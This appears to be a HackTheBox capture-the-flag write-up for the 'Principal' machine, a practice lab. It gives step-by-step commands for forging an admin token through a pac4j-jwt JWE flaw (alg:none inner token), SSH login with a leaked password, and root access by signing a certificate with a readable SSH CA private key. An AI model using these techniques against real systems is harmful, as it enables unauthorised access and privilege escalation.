Skip to content

Principal — HackTheBox

Machine Info

  • IP: 10.129.244.220 (originally 10.129.11.52, respawned)
  • OS: Linux (Ubuntu)
  • Difficulty: TBD

Enumeration

Port Scan

Full TCP scan followed by service/version scan on open ports.

nmap -p- --min-rate 3000 -Pn -oA nmap/principalNmapOpenPorts $IP
nmap -p22,8080 -sSCV --min-rate=2000 -Pn -oN nmap/principalNmapServicesVersions.txt $IP

Open Ports:

Port Service Version
22 SSH OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
8080 HTTP Jetty (Java web server)

Web Application (Port 8080)

  • Title: "Principal Internal Platform - Login"
  • Server: Jetty
  • Key header: X-Powered-By: pac4j-jwt/6.0.3
  • Root / redirects 302 → /login
  • 404 responses return JSON: {"timestamp":...,"status":404,"error":"Not Found","path":"..."}
  • Allowed methods on root: GET, HEAD, OPTIONS

Vulnerability Identification

The X-Powered-By: pac4j-jwt/6.0.3 header reveals a vulnerable JWT library.

CVE-2026-29000 — Critical Authentication Bypass (CVSS 10.0) - pac4j-jwt < 6.3.3 has a logic flaw in JwtAuthenticator - When processing JWE-wrapped tokens, it doesn't enforce that the inner payload is signed - An attacker can wrap an unsigned PlainJWT inside a JWE encrypted with the server's RSA public key - This bypasses signature verification entirely — forge tokens as any user/role - Only requirement: the server's RSA public key (designed to be public) - Public PoC available: github.com/kernelzeroday/CVE-2026-29000

Web App Recon — app.js

Navigating to http://$IP:8080/login, the Network tab in DevTools shows a GET request for /static/js/app.js. This file is the key — it documents the entire authentication flow and API surface:

Authentication Flow (from comments): 1. User submits credentials to /api/auth/login 2. Server returns encrypted JWT (JWE) token 3. Token stored in sessionStorage as auth_token, sent as Authorization: Bearer <token>

Token Configuration: - JWE encryption: RSA-OAEP-256 + A128GCM - Inner JWT signed with RS256 - Public key at: /api/auth/jwks

JWT Claims Schema:

{
  "sub": "<username>",
  "role": "ROLE_ADMIN | ROLE_MANAGER | ROLE_USER",
  "iss": "principal-platform",
  "iat": "<epoch>",
  "exp": "<epoch>"
}

API Endpoints discovered: | Endpoint | Purpose | Required Role | |----------|---------|---------------| | /api/auth/login | POST credentials | None | | /api/auth/jwks | RSA public key (JWKS) | None | | /api/dashboard | Main dashboard | All roles | | /api/users | User management | ROLE_ADMIN | | /api/settings | System settings | ROLE_ADMIN |

Decision: The app tells us exactly how to exploit CVE-2026-29000 — it hands us the encryption algorithm, the JWKS endpoint, the claims schema, and the role values. No guessing needed.

JWKS Public Key

The standard /.well-known/jwks.json returned 404. The actual endpoint is /api/auth/jwks (found in app.js):

b7h30@kali:~/Documents/obsidian/docs/CTF/HTB/principal$ curl http://10.129.244.220:8080/api/auth/jwks | jq .
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100    402   0    402   0      0   5730      0                              0
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "enc-key-1",
      "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
    }
  ]
}

Returns the RSA public key in JWK format:

{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}

Note: The JWKS response has a wrapping {"keys":[...]} — strip that to get just the JWK object for the encryption tool.

Foothold

CVE-2026-29000 — JWT Forgery via JWE-Wrapped Unsigned Token

Why this works: pac4j-jwt 6.0.3 assumes that if JWE decryption succeeds, the inner payload must be a legitimately signed JWT. It never actually checks the signature. So we craft an unsigned JWT ("alg": "none"), wrap it in a JWE encrypted with the server's public key, and the server accepts it as fully authenticated.

Step 1 — Craft the unsigned inner JWT using jwt.io:

Header:

{
  "alg": "none",
  "typ": "JWT"
}

Payload: the iat should be current time and exp should expire in the future - created with https://www.epochconverter.com/

{
  "sub": "admin",
  "role": "ROLE_ADMIN",
  "iss": "principal-platform",
  "iat": 1775035169,
  "exp": 1775042387
}

This produces a PlainJWT (note the trailing dot, no signature):

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJST0xFX0FETUlOIiwiaXNzIjoicHJpbmNpcGFsLXBsYXRmb3JtIiwiaWF0IjoxNzc1MDM1MTY5LCJleHAiOjE3NzUwNDIzODd9.

Step 2 — JWE-encrypt the unsigned JWT using authgear.com/tools/jwt-jwe-debugger:

  1. Go to the JWE Encrypt tab
  2. Paste the unsigned JWT from Step 1 into JWT Input
  3. Set Algorithm to RSA-OAEP-256 (from app.js)
  4. Set Encryption Method to A128GCM (from app.js)
  5. Paste the RSA public key from /api/auth/jwks into the Public Key field (JWK format — strip the {"keys":[...]} wrapper, use just the key object)
  6. Click encrypt to generate the JWE

Step 3 — Inject the forged JWE into the browser:

In DevTools → Storage tab → Session Storage → add a new entry: - Key: auth_token - Value: <the JWE output from Step 2>

Alternatively, in the Console:

sessionStorage.setItem('auth_token', '<JWE_TOKEN>');

Step 4 — Refresh the page → redirects to /dashboard with full admin access.

Why sessionStorage? The app's TokenManager class reads auth_token from sessionStorage and attaches it as Authorization: Bearer <token> on every API call. Setting it here is identical to what a legitimate login does.

Dashboard Access Confirmed

After injecting the forged JWE and refreshing, the app loads the Principal admin dashboard. As ROLE_ADMIN we have access to: - /api/dashboard — system stats, activity log, announcements - /api/users — user management (usernames, roles, departments) - /api/settings — system/security/infrastructure config

Admin Enumeration — /api/users

8 users discovered (see loot/credentials.md for full table). Key account:

  • svc-deploy — "Deploy Service", role deployer, DevOps, Active
  • Notes: "Service account for automated deployments via SSH certificate auth."
  • This is the path to a shell — it's a service account that authenticates to SSH via certificates

Other notable users: jthompson (team lead, backend), admin (Sarah Chen, IT Security), kkumar (disabled admin).

Admin Enumeration — /api/settings

System: v1.2.0, production, Jetty 12.x (Embedded), Java 21.0.10

Security: | Setting | Value | |---------|-------| | authFramework | pac4j-jwt | | authFrameworkVersion | 6.0.3 | | jwtAlgorithm | RS256 | | jweAlgorithm | RSA-OAEP-256 | | jweEncryption | A128GCM | | encryptionKey | D3pl0y_$$H_Now42! | | tokenExpiry | 3600s | | sessionManagement | stateless |

Infrastructure: | Setting | Value | |---------|-------| | sshCertAuth | enabled | | database | H2 (embedded) | | sshCaPath | /opt/principal/ssh/ | | notes | SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config |

Key finds: encryptionKey: D3pl0y_$$H_Now42! and sshCaPath: /opt/principal/ssh/. Combined with svc-deploy being a service account for "SSH certificate auth", this is the foothold path.

SSH as svc-deploy

The encryptionKey value D3pl0y_$$H_Now42! from /api/settings doubles as the SSH password for svc-deploy.

sshpass -p 'D3pl0y_$$H_Now42!' ssh [email protected]

Gotcha: The $$ in the password gets expanded to the shell's PID in double quotes. Always single-quote this password or type it manually at the prompt. This caused initial SSH failures that looked like wrong credentials.

User flag in home directory:

svc-deploy@principal:~$ cat user.txt
d26e37babfdd7c30b2c97f246a67d953

Privilege Escalation

SSH CA Certificate Abuse

svc-deploy is in the deployers group, which has read access to the SSH CA private key at /opt/principal/ssh/:

svc-deploy@principal:~$ ls -la /opt/principal/ssh/
total 20
drwxr-x--- 2 root deployers 4096 Mar 11 04:22 .
drwxr-xr-x 5 root root      4096 Mar 11 04:22 ..
-rw-r----- 1 root deployers  288 Mar  5 21:05 README.txt
-rw-r----- 1 root deployers 3381 Mar  5 21:05 ca        # CA private key!
-rw-r--r-- 1 root root       742 Mar  5 21:05 ca.pub

The server's sshd is configured with TrustedUserCAKeys /opt/principal/ssh/ca.pub — any certificate signed by this CA naming "root" as the principal will authenticate as root.

Step 1 — Generate a new SSH keypair (must write to a writable directory, not /opt/principal/ssh/):

cd /tmp
ssh-keygen -t ed25519 -f root-ssh -N ""
Flags/Notes: - -t ed25519 — modern, fast key type - -f root-ssh — output filename - -N "" — empty passphrase (skip the prompt)

Step 2 — Sign the public key as root principal using the CA private key:

ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root root-ssh.pub
Flags/Notes: - -s /opt/principal/ssh/ca — sign with this CA private key - -I pwned — certificate identity (arbitrary label for logging) - -n root — the principal — tells sshd this cert authenticates as the root user - Output: root-ssh-cert.pub ("Signed user key... for root valid forever")

Step 3 — SSH as root:

ssh -i root-ssh root@localhost

Root flag:

root@principal:~# cat root.txt
2cf35bc33b4761672fde6e6219e8c2c3

Flags

  • User: d26e37babfdd7c30b2c97f246a67d953
  • Root: 2cf35bc33b4761672fde6e6219e8c2c3

Lessons Learned

  • X-Powered-By headers can leak exact library versions — always check response headers
  • pac4j-jwt 6.0.3 is vulnerable to CVE-2026-29000 (auth bypass via JWE-wrapped unsigned JWT)
  • When probing HTTPS endpoints, verify the actual scheme first — Jetty on 8080 was HTTP, not HTTPS
  • Admin settings pages can leak encryption keys and infrastructure paths — always check /api/settings or equivalent
  • Service accounts (svc-deploy) are high-value targets — they often have more system access than human users
  • app.js / client-side JS is a goldmine: it revealed the non-standard JWKS path, all API endpoints, role values, and claims schema
  • $$ in passwords gets shell-expanded — always single-quote passwords containing $ or type them manually. This caused false "wrong password" results
  • SSH CA cert abuse: If you can read the CA private key, you can sign a cert for any user (including root). Generate keypair → sign with CA → SSH with cert. No password needed.
  • Write to /tmp when the target directory isn't writable — don't assume you need to be in the same directory as the CA key
  • Password reuse between web app settings and SSH — always try leaked keys/secrets as credentials against other services